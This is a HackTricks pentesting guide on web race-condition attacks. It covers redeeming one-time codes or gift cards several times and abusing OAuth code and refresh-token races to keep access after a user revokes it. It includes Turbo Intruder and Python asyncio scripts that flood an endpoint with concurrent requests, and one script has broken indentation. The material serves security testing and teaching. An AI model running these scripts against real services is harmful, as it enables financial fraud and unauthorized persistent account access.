hacktricks/pentesting-web/race-condition.md

# Race Condition

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## Anything limited by a number of attempts

Race conditions are **vulnerabilities** that **appear** in webs that **limit the number of times you can perform an action**. A very easy example can be found in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43).

## Using several times a one-time use code

When you make the web page perform some **action** that **should be done only once**, but if the action is done **several times** you will be **benefited**, you really need to try a **Race condicion**.\
Most of the time this is directly related with **money** (if an action is made you get X money, so let's try to make it several time very quickly)**.**

### **Using from the same account the same code several times**

For example, in [**this bug** ](https://hackerone.com/reports/759247)the hunter was able to **load the money inside a gift card several times.**

This is the **turbo intruder** script used to **test** the **race condition** of the mentioned writeup:

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=30,
                           pipeline=False
                           )

   for i in range(30):
    engine.queue(target.req, i)
        engine.queue(target.req, target.baseInput, gate='race1')


    engine.start(timeout=5)
   engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
```

Using also BURP you could also send the **request** to **Intruder**, set the **number of threads** to **30** inside the **Options menu and,** select as payload **Null payloads** and generate **30.**

### **Using the same code from different accounts**

**If the previously proposal didn't work (try to use the same code several times from the same account) you try a variant:Try t use the same code from different accounts:**

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           pipeline=False
                           )
    a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
    for i in range(len(a)):
        engine.queue(target.req,a[i], gate='race1')
    # open TCP connections and send partial requests
    engine.start(timeout=10)
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)
```

### Using Python

```python
import asyncio
import httpx

async def use_code(client):
    resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
    return resp.text

async def main():
    async with httpx.AsyncClient() as client:
        tasks = []
        for _ in range(20): #20 times
            tasks.append(asyncio.ensure_future(use_code(client)))
        
        # Get responses
        results = await asyncio.gather(*tasks, return_exceptions=True)
        
        # Print results
        for r in results:
            print(r)
        
        # Async2sync sleep
        await asyncio.sleep(0.5)
    print(results)

asyncio.run(main())
```

## OAuth2 eternal persistence

There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
So, until here just a common login with google/linkdin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"

#### Race Condition in `authorization_code`

The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.

#### Race Condition in `Refresh Token`

Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**

## References

* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)

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